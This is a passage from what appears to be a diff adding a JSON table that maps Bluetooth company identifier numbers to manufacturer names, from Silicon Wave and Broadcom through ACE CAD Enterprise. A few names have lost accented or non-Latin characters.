International, Ltd. (QTIL)", + "11": "Silicon Wave", + "12": "Digianswer A/S", + "13": "Texas Instruments Inc.", + "14": "Parthus Technologies Inc.", + "15": "Broadcom Corporation", + "16": "Mitel Semiconductor", + "17": "Widcomm, Inc.", + "18": "Zeevo, Inc.", + "19": "Atmel Corporation", + "20": "Mitsubishi Electric Corporation", + "21": "RTX Telecom A/S", + "22": "KC Technology Inc.", + "23": "Newlogic", + "24": "Transilica, Inc.", + "25": "Rohde & Schwarz GmbH & Co. KG", + "26": "TTPCom Limited", + "27": "Signia Technologies, Inc.", + "28": "Conexant Systems Inc.", + "29": "Qualcomm", + "30": "Inventel", + "31": "AVM Berlin", + "32": "BandSpeed, Inc.", + "33": "Mansella Ltd", + "34": "NEC Corporation", + "35": "WavePlus Technology Co., Ltd.", + "36": "Alcatel", + "37": "NXP Semiconductors (formerly Philips Semiconductors)", + "38": "C Technologies", + "39": "Open Interface", + "40": "R F Micro Devices", + "41": "Hitachi Ltd", + "42": "Symbol Technologies, Inc.", + "43": "Tenovis", + "44": "Macronix International Co. Ltd.", + "45": "GCT Semiconductor", + "46": "Norwood Systems", + "47": "MewTel Technology Inc.", + "48": "ST Microelectronics", + "49": "Synopsys, Inc.", + "50": "Red-M (Communications) Ltd", + "51": "Commil Ltd", + "52": "Computer Access Technology Corporation (CATC)", + "53": "Eclipse (HQ Espana) S.L.", + "54": "Renesas Electronics Corporation", + "55": "Mobilian Corporation", + "56": "Syntronix Corporation", + "57": "Integrated System Solution Corp.", + "58": "Matsushita Electric Industrial Co., Ltd.", + "59": "Gennum Corporation", + "60": "BlackBerry Limited (formerly Research In Motion)", + "61": "IPextreme, Inc.", + "62": "Systems and Chips, Inc", + "63": "Bluetooth SIG, Inc", + "64": "Seiko Epson Corporation", + "65": "Integrated Silicon Solution Taiwan, Inc.", + "66": "CONWISE Technology Corporation Ltd", + "67": "PARROT AUTOMOTIVE SAS", + "68": "Socket Mobile", + "69": "Atheros Communications, Inc.", + "70": "MediaTek, Inc.", + "71": "Bluegiga", + "72": "Marvell Technology Group Ltd.", + "73": "3DSP Corporation", + "74": "Accel Semiconductor Ltd.", + "75": "Continental Automotive Systems", + "76": "Apple, Inc.", + "77": "Staccato Communications, Inc.", + "78": "Avago Technologies", + "79": "APT Ltd.", + "80": "SiRF Technology, Inc.", + "81": "Tzero Technologies, Inc.", + "82": "J&M Corporation", + "83": "Free2move AB", + "84": "3DiJoy Corporation", + "85": "Plantronics, Inc.", + "86": "Sony Ericsson Mobile Communications", + "87": "Harman International Industries, Inc.", + "88": "Vizio, Inc.", + "89": "Nordic Semiconductor ASA", + "90": "EM Microelectronic-Marin SA", + "91": "Ralink Technology Corporation", + "92": "Belkin International, Inc.", + "93": "Realtek Semiconductor Corporation", + "94": "Stonestreet One, LLC", + "95": "Wicentric, Inc.", + "96": "RivieraWaves S.A.S", + "97": "RDA Microelectronics", + "98": "Gibson Guitars", + "99": "MiCommand Inc.", + "100": "Band XI International, LLC", + "101": "Hewlett-Packard Company", + "102": "9Solutions Oy", + "103": "GN Netcom A/S", + "104": "General Motors", + "105": "A&D Engineering, Inc.", + "106": "MindTree Ltd.", + "107": "Polar Electro OY", + "108": "Beautiful Enterprise Co., Ltd.", + "109": "BriarTek, Inc", + "110": "Summit Data Communications, Inc.", + "111": "Sound ID", + "112": "Monster, LLC", + "113": "connectBlue AB", + "114": "ShangHai Super Smart Electronics Co. Ltd.", + "115": "Group Sense Ltd.", + "116": "Zomm, LLC", + "117": "Samsung Electronics Co. Ltd.", + "118": "Creative Technology Ltd.", + "119": "Laird Technologies", + "120": "Nike, Inc.", + "121": "lesswire AG", + "122": "MStar Semiconductor, Inc.", + "123": "Hanlynn Technologies", + "124": "A & R Cambridge", + "125": "Seers Technology Co., Ltd.", + "126": "Sports Tracking Technologies Ltd.", + "127": "Autonet Mobile", + "128": "DeLorme Publishing Company, Inc.", + "129": "WuXi Vimicro", + "130": "Sennheiser Communications A/S", + "131": "TimeKeeping Systems, Inc.", + "132": "Ludus Helsinki Ltd.", + "133": "BlueRadios, Inc.", + "134": "Equinux AG", + "135": "Garmin International, Inc.", + "136": "Ecotest", + "137": "GN ReSound A/S", + "138": "Jawbone", + "139": "Topcon Positioning Systems, LLC", + "140": "Gimbal Inc. (formerly Qualcomm Labs, Inc. and Qualcomm Retail Solutions, Inc.)", + "141": "Zscan Software", + "142": "Quintic Corp", + "143": "Telit Wireless Solutions GmbH (formerly Stollmann E+V GmbH)", + "144": "Funai Electric Co., Ltd.", + "145": "Advanced PANMOBIL systems GmbH & Co. KG", + "146": "ThinkOptics, Inc.", + "147": "Universal Electronics, Inc.", + "148": "Airoha Technology Corp.", + "149": "NEC Lighting, Ltd.", + "150": "ODM Technology, Inc.", + "151": "ConnecteDevice Ltd.", + "152": "zero1.tv GmbH", + "153": "i.Tech Dynamic Global Distribution Ltd.", + "154": "Alpwise", + "155": "Jiangsu Toppower Automotive Electronics Co., Ltd.", + "156": "Colorfy, Inc.", + "157": "Geoforce Inc.", + "158": "Bose Corporation", + "159": "Suunto Oy", + "160": "Kensington Computer Products Group", + "161": "SR-Medizinelektronik", + "162": "Vertu Corporation Limited", + "163": "Meta Watch Ltd.", + "164": "LINAK A/S", + "165": "OTL Dynamics LLC", + "166": "Panda Ocean Inc.", + "167": "Visteon Corporation", + "168": "ARP Devices Limited", + "169": "Magneti Marelli S.p.A", + "170": "CAEN RFID srl", + "171": "Ingenieur-Systemgruppe Zahn GmbH", + "172": "Green Throttle Games", + "173": "Peter Systemtechnik GmbH", + "174": "Omegawave Oy", + "175": "Cinetix", + "176": "Passif Semiconductor Corp", + "177": "Saris Cycling Group, Inc", + "178": "Bekey A/S", + "179": "Clarinox Technologies Pty. Ltd.", + "180": "BDE Technology Co., Ltd.", + "181": "Swirl Networks", + "182": "Meso international", + "183": "TreLab Ltd", + "184": "Qualcomm Innovation Center, Inc. (QuIC)", + "185": "Johnson Controls, Inc.", + "186": "Starkey Laboratories Inc.", + "187": "S-Power Electronics Limited", + "188": "Ace Sensor Inc", + "189": "Aplix Corporation", + "190": "AAMP of America", + "191": "Stalmart Technology Limited", + "192": "AMICCOM Electronics Corporation", + "193": "Shenzhen Excelsecu Data Technology Co.,Ltd", + "194": "Geneq Inc.", + "195": "adidas AG", + "196": "LG Electronics", + "197": "Onset Computer Corporation", + "198": "Selfly BV", + "199": "Quuppa Oy.", + "200": "GeLo Inc", + "201": "Evluma", + "202": "MC10", + "203": "Binauric SE", + "204": "Beats Electronics", + "205": "Microchip Technology Inc.", + "206": "Elgato Systems GmbH", + "207": "ARCHOS SA", + "208": "Dexcom, Inc.", + "209": "Polar Electro Europe B.V.", + "210": "Dialog Semiconductor B.V.", + "211": "Taixingbang Technology (HK) Co,. LTD.", + "212": "Kawantech", + "213": "Austco Communication Systems", + "214": "Timex Group USA, Inc.", + "215": "Qualcomm Technologies, Inc.", + "216": "Qualcomm Connected Experiences, Inc.", + "217": "Voyetra Turtle Beach", + "218": "txtr GmbH", + "219": "Biosentronics", + "220": "Procter & Gamble", + "221": "Hosiden Corporation", + "222": "Muzik LLC", + "223": "Misfit Wearables Corp", + "224": "Google", + "225": "Danlers Ltd", + "226": "Semilink Inc", + "227": "inMusic Brands, Inc", + "228": "L.S. Research Inc.", + "229": "Eden Software Consultants Ltd.", + "230": "Freshtemp", + "231": "KS Technologies", + "232": "ACTS Technologies", + "233": "Vtrack Systems", + "234": "Nielsen-Kellerman Company", + "235": "Server Technology Inc.", + "236": "BioResearch Associates", + "237": "Jolly Logic, LLC", + "238": "Above Average Outcomes, Inc.", + "239": "Bitsplitters GmbH", + "240": "PayPal, Inc.", + "241": "Witron Technology Limited", + "242": "Morse Project Inc.", + "243": "Kent Displays Inc.", + "244": "Nautilus Inc.", + "245": "Smartifier Oy", + "246": "Elcometer Limited", + "247": "VSN Technologies, Inc.", + "248": "AceUni Corp., Ltd.", + "249": "StickNFind", + "250": "Crystal Code AB", + "251": "KOUKAAM a.s.", + "252": "Delphi Corporation", + "253": "ValenceTech Limited", + "254": "Stanley Black and Decker", + "255": "Typo Products, LLC", + "256": "TomTom International BV", + "257": "Fugoo, Inc.", + "258": "Keiser Corporation", + "259": "Bang & Olufsen A/S", + "260": "PLUS Location Systems Pty Ltd", + "261": "Ubiquitous Computing Technology Corporation", + "262": "Innovative Yachtter Solutions", + "263": "William Demant Holding A/S", + "264": "Chicony Electronics Co., Ltd.", + "265": "Atus BV", + "266": "Codegate Ltd", + "267": "ERi, Inc", + "268": "Transducers Direct, LLC", + "269": "Fujitsu Ten LImited", + "270": "Audi AG", + "271": "HiSilicon Technologies Col, Ltd.", + "272": "Nippon Seiki Co., Ltd.", + "273": "Steelseries ApS", + "274": "Visybl Inc.", + "275": "Openbrain Technologies, Co., Ltd.", + "276": "Xensr", + "277": "e.solutions", + "278": "10AK Technologies", + "279": "Wimoto Technologies Inc", + "280": "Radius Networks, Inc.", + "281": "Wize Technology Co., Ltd.", + "282": "Qualcomm Labs, Inc.", + "283": "Hewlett Packard Enterprise", + "284": "Baidu", + "285": "Arendi AG", + "286": "Skoda Auto a.s.", + "287": "Volkswagen AG", + "288": "Porsche AG", + "289": "Sino Wealth Electronic Ltd.", + "290": "AirTurn, Inc.", + "291": "Kinsa, Inc", + "292": "HID Global", + "293": "SEAT es", + "294": "Promethean Ltd.", + "295": "Salutica Allied Solutions", + "296": "GPSI Group Pty Ltd", + "297": "Nimble Devices Oy", + "298": "Changzhou Yongse Infotech Co., Ltd.", + "299": "SportIQ", + "300": "TEMEC Instruments B.V.", + "301": "Sony Corporation", + "302": "ASSA ABLOY", + "303": "Clarion Co. Inc.", + "304": "Warehouse Innovations", + "305": "Cypress Semiconductor", + "306": "MADS Inc", + "307": "Blue Maestro Limited", + "308": "Resolution Products, Ltd.", + "309": "Aireware LLC", + "310": "Silvair, Inc.", + "311": "Prestigio Plaza Ltd.", + "312": "NTEO Inc.", + "313": "Focus Systems Corporation", + "314": "Tencent Holdings Ltd.", + "315": "Allegion", + "316": "Murata Manufacturing Co., Ltd.", + "317": "WirelessWERX", + "318": "Nod, Inc.", + "319": "B&B Manufacturing Company", + "320": "Alpine Electronics (China) Co., Ltd", + "321": "FedEx Services", + "322": "Grape Systems Inc.", + "323": "Bkon Connect", + "324": "Lintech GmbH", + "325": "Novatel Wireless", + "326": "Ciright", + "327": "Mighty Cast, Inc.", + "328": "Ambimat Electronics", + "329": "Perytons Ltd.", + "330": "Tivoli Audio, LLC", + "331": "Master Lock", + "332": "Mesh-Net Ltd", + "333": "HUIZHOU DESAY SV AUTOMOTIVE CO., LTD.", + "334": "Tangerine, Inc.", + "335": "B&W Group Ltd.", + "336": "Pioneer Corporation", + "337": "OnBeep", + "338": "Vernier Software & Technology", + "339": "ROL Ergo", + "340": "Pebble Technology", + "341": "NETATMO", + "342": "Accumulate AB", + "343": "Anhui Huami Information Technology Co., Ltd.", + "344": "Inmite s.r.o.", + "345": "ChefSteps, Inc.", + "346": "micas AG", + "347": "Biomedical Research Ltd.", + "348": "Pitius Tec S.L.", + "349": "Estimote, Inc.", + "350": "Unikey Technologies, Inc.", + "351": "Timer Cap Co.", + "352": "AwoX", + "353": "yikes", + "354": "MADSGlobalNZ Ltd.", + "355": "PCH International", + "356": "Qingdao Yeelink Information Technology Co., Ltd.", + "357": "Milwaukee Tool (Formally Milwaukee Electric Tools)", + "358": "MISHIK Pte Ltd", + "359": "Ascensia Diabetes Care US Inc.", + "360": "Spicebox LLC", + "361": "emberlight", + "362": "Cooper-Atkins Corporation", + "363": "Qblinks", + "364": "MYSPHERA", + "365": "LifeScan Inc", + "366": "Volantic AB", + "367": "Podo Labs, Inc", + "368": "Roche Diabetes Care AG", + "369": "Amazon Fulfillment Service", + "370": "Connovate Technology Private Limited", + "371": "Kocomojo, LLC", + "372": "Everykey Inc.", + "373": "Dynamic Controls", + "374": "SentriLock", + "375": "I-SYST inc.", + "376": "CASIO COMPUTER CO., LTD.", + "377": "LAPIS Semiconductor Co., Ltd.", + "378": "Telemonitor, Inc.", + "379": "taskit GmbH", + "380": "Daimler AG", + "381": "BatAndCat", + "382": "BluDotz Ltd", + "383": "XTel Wireless ApS", + "384": "Gigaset Communications GmbH", + "385": "Gecko Health Innovations, Inc.", + "386": "HOP Ubiquitous", + "387": "Walt Disney", + "388": "Nectar", + "389": "bel'apps LLC", + "390": "CORE Lighting Ltd", + "391": "Seraphim Sense Ltd", + "392": "Unico RBC", + "393": "Physical Enterprises Inc.", + "394": "Able Trend Technology Limited", + "395": "Konica Minolta, Inc.", + "396": "Wilo SE", + "397": "Extron Design Services", + "398": "Fitbit, Inc.", + "399": "Fireflies Systems", + "400": "Intelletto Technologies Inc.", + "401": "FDK CORPORATION", + "402": "Cloudleaf, Inc", + "403": "Maveric Automation LLC", + "404": "Acoustic Stream Corporation", + "405": "Zuli", + "406": "Paxton Access Ltd", + "407": "WiSilica Inc.", + "408": "VENGIT Korlatolt Felelossegu Tarsasag", + "409": "SALTO SYSTEMS S.L.", + "410": "TRON Forum (formerly T-Engine Forum)", + "411": "CUBETECH s.r.o.", + "412": "Cokiya Incorporated", + "413": "CVS Health", + "414": "Ceruus", + "415": "Strainstall Ltd", + "416": "Channel Enterprises (HK) Ltd.", + "417": "FIAMM", + "418": "GIGALANE.CO.,LTD", + "419": "EROAD", + "420": "Mine Safety Appliances", + "421": "Icon Health and Fitness", + "422": "Asandoo GmbH", + "423": "ENERGOUS CORPORATION", + "424": "Taobao", + "425": "Canon Inc.", + "426": "Geophysical Technology Inc.", + "427": "Facebook, Inc.", + "428": "Trividia Health, Inc.", + "429": "FlightSafety International", + "430": "Earlens Corporation", + "431": "Sunrise Micro Devices, Inc.", + "432": "Star Micronics Co., Ltd.", + "433": "Netizens Sp. z o.o.", + "434": "Nymi Inc.", + "435": "Nytec, Inc.", + "436": "Trineo Sp. z o.o.", + "437": "Nest Labs Inc.", + "438": "LM Technologies Ltd", + "439": "General Electric Company", + "440": "i+D3 S.L.", + "441": "HANA Micron", + "442": "Stages Cycling LLC", + "443": "Cochlear Bone Anchored Solutions AB", + "444": "SenionLab AB", + "445": "Syszone Co., Ltd", + "446": "Pulsate Mobile Ltd.", + "447": "Hong Kong HunterSun Electronic Limited", + "448": "pironex GmbH", + "449": "BRADATECH Corp.", + "450": "Transenergooil AG", + "451": "Bunch", + "452": "DME Microelectronics", + "453": "Bitcraze AB", + "454": "HASWARE Inc.", + "455": "Abiogenix Inc.", + "456": "Poly-Control ApS", + "457": "Avi-on", + "458": "Laerdal Medical AS", + "459": "Fetch My Pet", + "460": "Sam Labs Ltd.", + "461": "Chengdu Synwing Technology Ltd", + "462": "HOUWA SYSTEM DESIGN, k.k.", + "463": "BSH", + "464": "Primus Inter Pares Ltd", + "465": "August Home, Inc", + "466": "Gill Electronics", + "467": "Sky Wave Design", + "468": "Newlab S.r.l.", + "469": "ELAD srl", + "470": "G-wearables inc.", + "471": "Squadrone Systems Inc.", + "472": "Code Corporation", + "473": "Savant Systems LLC", + "474": "Logitech International SA", + "475": "Innblue Consulting", + "476": "iParking Ltd.", + "477": "Koninklijke Philips Electronics N.V.", + "478": "Minelab Electronics Pty Limited", + "479": "Bison Group Ltd.", + "480": "Widex A/S", + "481": "Jolla Ltd", + "482": "Lectronix, Inc.", + "483": "Caterpillar Inc", + "484": "Freedom Innovations", + "485": "Dynamic Devices Ltd", + "486": "Technology Solutions (UK) Ltd", + "487": "IPS Group Inc.", + "488": "STIR", + "489": "Sano, Inc.", + "490": "Advanced Application Design, Inc.", + "491": "AutoMap LLC", + "492": "Spreadtrum Communications Shanghai Ltd", + "493": "CuteCircuit LTD", + "494": "Valeo Service", + "495": "Fullpower Technologies, Inc.", + "496": "KloudNation", + "497": "Zebra Technologies Corporation", + "498": "Itron, Inc.", + "499": "The University of Tokyo", + "500": "UTC Fire and Security", + "501": "Cool Webthings Limited", + "502": "DJO Global", + "503": "Gelliner Limited", + "504": "Anyka (Guangzhou) Microelectronics Technology Co, LTD", + "505": "Medtronic Inc.", + "506": "Gozio Inc.", + "507": "Form Lifting, LLC", + "508": "Wahoo Fitness, LLC", + "509": "Kontakt Micro-Location Sp. z o.o.", + "510": "Radio Systems Corporation", + "511": "Freescale Semiconductor, Inc.", + "512": "Verifone Systems Pte Ltd. Taiwan Branch", + "513": "AR Timing", + "514": "Rigado LLC", + "515": "Kemppi Oy", + "516": "Tapcentive Inc.", + "517": "Smartbotics Inc.", + "518": "Otter Products, LLC", + "519": "STEMP Inc.", + "520": "LumiGeek LLC", + "521": "InvisionHeart Inc.", + "522": "Macnica Inc.", + "523": "Jaguar Land Rover Limited", + "524": "CoroWare Technologies, Inc", + "525": "Simplo Technology Co., LTD", + "526": "Omron Healthcare Co., LTD", + "527": "Comodule GMBH", + "528": "ikeGPS", + "529": "Telink Semiconductor Co. Ltd", + "530": "Interplan Co., Ltd", + "531": "Wyler AG", + "532": "IK Multimedia Production srl", + "533": "Lukoton Experience Oy", + "534": "MTI Ltd", + "535": "Tech4home, Lda", + "536": "Hiotech AB", + "537": "DOTT Limited", + "538": "Blue Speck Labs, LLC", + "539": "Cisco Systems, Inc", + "540": "Mobicomm Inc", + "541": "Edamic", + "542": "Goodnet, Ltd", + "543": "Luster Leaf Products Inc", + "544": "Manus Machina BV", + "545": "Mobiquity Networks Inc", + "546": "Praxis Dynamics", + "547": "Philip Morris Products S.A.", + "548": "Comarch SA", + "549": "Nestl Nespresso S.A.", + "550": "Merlinia A/S", + "551": "LifeBEAM Technologies", + "552": "Twocanoes Labs, LLC", + "553": "Muoverti Limited", + "554": "Stamer Musikanlagen GMBH", + "555": "Tesla Motors", + "556": "Pharynks Corporation", + "557": "Lupine", + "558": "Siemens AG", + "559": "Huami (Shanghai) Culture Communication CO., LTD", + "560": "Foster Electric Company, Ltd", + "561": "ETA SA", + "562": "x-Senso Solutions Kft", + "563": "Shenzhen SuLong Communication Ltd", + "564": "FengFan (BeiJing) Technology Co, Ltd", + "565": "Qrio Inc", + "566": "Pitpatpet Ltd", + "567": "MSHeli s.r.l.", + "568": "Trakm8 Ltd", + "569": "JIN CO, Ltd", + "570": "Alatech Tehnology", + "571": "Beijing CarePulse Electronic Technology Co, Ltd", + "572": "Awarepoint", + "573": "ViCentra B.V.", + "574": "Raven Industries", + "575": "WaveWare Technologies Inc.", + "576": "Argenox Technologies", + "577": "Bragi GmbH", + "578": "16Lab Inc", + "579": "Masimo Corp", + "580": "Iotera Inc", + "581": "Endress+Hauser", + "582": "ACKme Networks, Inc.", + "583": "FiftyThree Inc.", + "584": "Parker Hannifin Corp", + "585": "Transcranial Ltd", + "586": "Uwatec AG", + "587": "Orlan LLC", + "588": "Blue Clover Devices", + "589": "M-Way Solutions GmbH", + "590": "Microtronics Engineering GmbH", + "591": "Schneider Schreibgerte GmbH", + "592": "Sapphire Circuits LLC", + "593": "Lumo Bodytech Inc.", + "594": "UKC Technosolution", + "595": "Xicato Inc.", + "596": "Playbrush", + "597": "Dai Nippon Printing Co., Ltd.", + "598": "G24 Power Limited", + "599": "AdBabble Local Commerce Inc.", + "600": "Devialet SA", + "601": "ALTYOR", + "602": "University of Applied Sciences Valais/Haute Ecole Valaisanne", + "603": "Five Interactive, LLC dba Zendo", + "604": "NetEaseHangzhouNetwork co.Ltd.", + "605": "Lexmark International Inc.", + "606": "Fluke Corporation", + "607": "Yardarm Technologies", + "608": "SensaRx", + "609": "SECVRE GmbH", + "610": "Glacial Ridge Technologies", + "611": "Identiv, Inc.", + "612": "DDS, Inc.", + "613": "SMK Corporation", + "614": "Schawbel Technologies LLC", + "615": "XMI Systems SA", + "616": "Cerevo", + "617": "Torrox GmbH & Co KG", + "618": "Gemalto", + "619": "DEKA Research & Development Corp.", + "620": "Domster Tadeusz Szydlowski", + "621": "Technogym SPA", + "622": "FLEURBAEY BVBA", + "623": "Aptcode Solutions", + "624": "LSI ADL Technology", + "625": "Animas Corp", + "626": "Alps Electric Co., Ltd.", + "627": "OCEASOFT", + "628": "Motsai Research", + "629": "Geotab", + "630": "E.G.O. Elektro-Gertebau GmbH", + "631": "bewhere inc", + "632": "Johnson Outdoors Inc", + "633": "steute Schaltgerate GmbH & Co. KG", + "634": "Ekomini inc.", + "635": "DEFA AS", + "636": "Aseptika Ltd", + "637": "HUAWEI Technologies Co., Ltd. ( )", + "638": "HabitAware, LLC", + "639": "ruwido austria gmbh", + "640": "ITEC corporation", + "641": "StoneL", + "642": "Sonova AG", + "643": "Maven Machines, Inc.", + "644": "Synapse Electronics", + "645": "Standard Innovation Inc.", + "646": "RF Code, Inc.", + "647": "Wally Ventures S.L.", + "648": "Willowbank Electronics Ltd", + "649": "SK Telecom", + "650": "Jetro AS", + "651": "Code Gears LTD", + "652": "NANOLINK APS", + "653": "IF, LLC", + "654": "RF Digital Corp", + "655": "Church & Dwight Co., Inc", + "656": "Multibit Oy", + "657": "CliniCloud Inc", + "658": "SwiftSensors", + "659": "Blue Bite", + "660": "ELIAS GmbH", + "661": "Sivantos GmbH", + "662": "Petzl", + "663": "storm power ltd", + "664": "EISST Ltd", + "665": "Inexess Technology Simma KG", + "666": "Currant, Inc.", + "667": "C2 Development, Inc.", + "668": "Blue Sky Scientific, LLC", + "669": "ALOTTAZS LABS, LLC", + "670": "Kupson spol. s r.o.", + "671": "Areus Engineering GmbH", + "672": "Impossible Camera GmbH", + "673": "InventureTrack Systems", + "674": "LockedUp", + "675": "Itude", + "676": "Pacific Lock Company", + "677": "Tendyron Corporation ( )", + "678": "Robert Bosch GmbH", + "679": "Illuxtron international B.V.", + "680": "miSport Ltd.", + "681": "Chargelib", + "682": "Doppler Lab", + "683": "BBPOS Limited", + "684": "RTB Elektronik GmbH & Co. KG", + "685": "Rx Networks, Inc.", + "686": "WeatherFlow, Inc.", + "687": "Technicolor USA Inc.", + "688": "Bestechnic(Shanghai),Ltd", + "689": "Raden Inc", + "690": "JouZen Oy", + "691": "CLABER S.P.A.", + "692": "Hyginex, Inc.", + "693": "HANSHIN ELECTRIC RAILWAY CO.,LTD.", + "694": "Schneider Electric", + "695": "Oort Technologies LLC", + "696": "Chrono Therapeutics", + "697": "Rinnai Corporation", + "698": "Swissprime Technologies AG", + "699": "Koha.,Co.Ltd", + "700": "Genevac Ltd", + "701": "Chemtronics", + "702": "Seguro Technology Sp. z o.o.", + "703": "Redbird Flight Simulations", + "704": "Dash Robotics", + "705": "LINE Corporation", + "706": "Guillemot Corporation", + "707": "Techtronic Power Tools Technology Limited", + "708": "Wilson Sporting Goods", + "709": "Lenovo (Singapore) Pte Ltd. ( )", + "710": "Ayatan Sensors", + "711": "Electronics Tomorrow Limited", + "712": "VASCO Data Security International, Inc.", + "713": "PayRange Inc.", + "714": "ABOV Semiconductor", + "715": "AINA-Wireless Inc.", + "716": "Eijkelkamp Soil & Water", + "717": "BMA ergonomics b.v.", + "718": "Teva Branded Pharmaceutical Products R&D, Inc.", + "719": "Anima", + "720": "3M", + "721": "Empatica Srl", + "722": "Afero, Inc.", + "723": "Powercast Corporation", + "724": "Secuyou ApS", + "725": "OMRON Corporation", + "726": "Send Solutions", + "727": "NIPPON SYSTEMWARE CO.,LTD.", + "728": "Neosfar", + "729": "Fliegl Agrartechnik GmbH", + "730": "Gilvader", + "731": "Digi International Inc (R)", + "732": "DeWalch Technologies, Inc.", + "733": "Flint Rehabilitation Devices, LLC", + "734": "Samsung SDS Co., Ltd.", + "735": "Blur Product Development", + "736": "University of Michigan", + "737": "Victron Energy BV", + "738": "NTT docomo", + "739": "Carmanah Technologies Corp.", + "740": "Bytestorm Ltd.", + "741": "Espressif Incorporated ( () )", + "742": "Unwire", + "743": "Connected Yard, Inc.", + "744": "American Music Environments", + "745": "Sensogram Technologies, Inc.", + "746": "Fujitsu Limited", + "747": "Ardic Technology", + "748": "Delta Systems, Inc", + "749": "HTC Corporation", + "750": "Citizen Holdings Co., Ltd.", + "751": "SMART-INNOVATION.inc", + "752": "Blackrat Software", + "753": "The Idea Cave, LLC", + "754": "GoPro, Inc.", + "755": "AuthAir, Inc", + "756": "Vensi, Inc.", + "757": "Indagem Tech LLC", + "758": "Intemo Technologies", + "759": "DreamVisions co., Ltd.", + "760": "Runteq Oy Ltd", + "761": "IMAGINATION TECHNOLOGIES LTD", + "762": "CoSTAR TEchnologies", + "763": "Clarius Mobile Health Corp.", + "764": "Shanghai Frequen Microelectronics Co., Ltd.", + "765": "Uwanna, Inc.", + "766": "Lierda Science & Technology Group Co., Ltd.", + "767": "Silicon Laboratories", + "768": "World Moto Inc.", + "769": "Giatec Scientific Inc.", + "770": "Loop Devices, Inc", + "771": "IACA electronique", + "772": "Proxy Technologies, Inc.", + "773": "Swipp ApS", + "774": "Life Laboratory Inc.", + "775": "FUJI INDUSTRIAL CO.,LTD.", + "776": "Surefire, LLC", + "777": "Dolby Labs", + "778": "Ellisys", + "779": "Magnitude Lighting Converters", + "780": "Hilti AG", + "781": "Devdata S.r.l.", + "782": "Deviceworx", + "783": "Shortcut Labs", + "784": "SGL Italia S.r.l.", + "785": "PEEQ DATA", + "786": "Ducere Technologies Pvt Ltd", + "787": "DiveNav, Inc.", + "788": "RIIG AI Sp. z o.o.", + "789": "Thermo Fisher Scientific", + "790": "AG Measurematics Pvt. Ltd.", + "791": "CHUO Electronics CO., LTD.", + "792": "Aspenta International", + "793": "Eugster Frismag AG", + "794": "Amber wireless GmbH", + "795": "HQ Inc", + "796": "Lab Sensor Solutions", + "797": "Enterlab ApS", + "798": "Eyefi, Inc.", + "799": "MetaSystem S.p.A.", + "800": "SONO ELECTRONICS. CO., LTD", + "801": "Jewelbots", + "802": "Compumedics Limited", + "803": "Rotor Bike Components", + "804": "Astro, Inc.", + "805": "Amotus Solutions", + "806": "Healthwear Technologies (Changzhou)Ltd", + "807": "Essex Electronics", + "808": "Grundfos A/S", + "809": "Eargo, Inc.", + "810": "Electronic Design Lab", + "811": "ESYLUX", + "812": "NIPPON SMT.CO.,Ltd", + "813": "BM innovations GmbH", + "814": "indoormap", + "815": "OttoQ Inc", + "816": "North Pole Engineering", + "817": "3flares Technologies Inc.", + "818": "Electrocompaniet A.S.", + "819": "Mul-T-Lock", + "820": "Corentium AS", + "821": "Enlighted Inc", + "822": "GISTIC", + "823": "AJP2 Holdings, LLC", + "824": "COBI GmbH", + "825": "Blue Sky Scientific, LLC", + "826": "Appception, Inc.", + "827": "Courtney Thorne Limited", + "828": "Virtuosys", + "829": "TPV Technology Limited", + "830": "Monitra SA", + "831": "Automation Components, Inc.", + "832": "Letsense s.r.l.", + "833": "Etesian Technologies LLC", + "834": "GERTEC BRASIL LTDA.", + "835": "Drekker Development Pty. Ltd.", + "836": "Whirl Inc", + "837": "Locus Positioning", + "838": "Acuity Brands Lighting, Inc", + "839": "Prevent Biometrics", + "840": "Arioneo", + "841": "VersaMe", + "842": "Vaddio", + "843": "Libratone A/S", + "844": "HM Electronics, Inc.", + "845": "TASER International, Inc.", + "846": "SafeTrust Inc.", + "847": "Heartland Payment Systems", + "848": "Bitstrata Systems Inc.", + "849": "Pieps GmbH", + "850": "iRiding(Xiamen)Technology Co.,Ltd.", + "851": "Alpha Audiotronics, Inc.", + "852": "TOPPAN FORMS CO.,LTD.", + "853": "Sigma Designs, Inc.", + "854": "Spectrum Brands, Inc.", + "855": "Polymap Wireless", + "856": "MagniWare Ltd.", + "857": "Novotec Medical GmbH", + "858": "Medicom Innovation Partner a/s", + "859": "Matrix Inc.", + "860": "Eaton Corporation", + "861": "KYS", + "862": "Naya Health, Inc.", + "863": "Acromag", + "864": "Insulet Corporation", + "865": "Wellinks Inc.", + "866": "ON Semiconductor", + "867": "FREELAP SA", + "868": "Favero Electronics Srl", + "869": "BioMech Sensor LLC", + "870": "BOLTT Sports technologies Private limited", + "871": "Saphe International", + "872": "Metormote AB", + "873": "littleBits", + "874": "SetPoint Medical", + "875": "BRControls Products BV", + "876": "Zipcar", + "877": "AirBolt Pty Ltd", + "878": "KeepTruckin Inc", + "879": "Motiv, Inc.", + "880": "Wazombi Labs O", + "881": "ORBCOMM", + "882": "Nixie Labs, Inc.", + "883": "AppNearMe Ltd", + "884": "Holman Industries", + "885": "Expain AS", + "886": "Electronic Temperature Instruments Ltd", + "887": "Plejd AB", + "888": "Propeller Health", + "889": "Shenzhen iMCO Electronic Technology Co.,Ltd", + "890": "Algoria", + "891": "Apption Labs Inc.", + "892": "Cronologics Corporation", + "893": "MICRODIA Ltd.", + "894": "lulabytes S.L.", + "895": "Nestec S.A.", + "896": "LLC \"MEGA-F service\"", + "897": "Sharp Corporation", + "898": "Precision Outcomes Ltd", + "899": "Kronos Incorporated", + "900": "OCOSMOS Co., Ltd.", + "901": "Embedded Electronic Solutions Ltd. dba e2Solutions", + "902": "Aterica Inc.", + "903": "BluStor PMC, Inc.", + "904": "Kapsch TrafficCom AB", + "905": "ActiveBlu Corporation", + "906": "Kohler Mira Limited", + "907": "Noke", + "908": "Appion Inc.", + "909": "Resmed Ltd", + "910": "Crownstone B.V.", + "911": "Xiaomi Inc.", + "912": "INFOTECH s.r.o.", + "913": "Thingsquare AB", + "914": "T&D", + "915": "LAVAZZA S.p.A.", + "916": "Netclearance Systems, Inc.", + "917": "SDATAWAY", + "918": "BLOKS GmbH", + "919": "LEGO System A/S", + "920": "Thetatronics Ltd", + "921": "Nikon Corporation", + "922": "NeST", + "923": "South Silicon Valley Microelectronics", + "924": "ALE International", + "925": "CareView Communications, Inc.", + "926": "SchoolBoard Limited", + "927": "Molex Corporation", + "928": "IVT Wireless Limited", + "929": "Alpine Labs LLC", + "930": "Candura Instruments", + "931": "SmartMovt Technology Co., Ltd", + "932": "Token Zero Ltd", + "933": "ACE CAD Enterprise Co., Ltd. 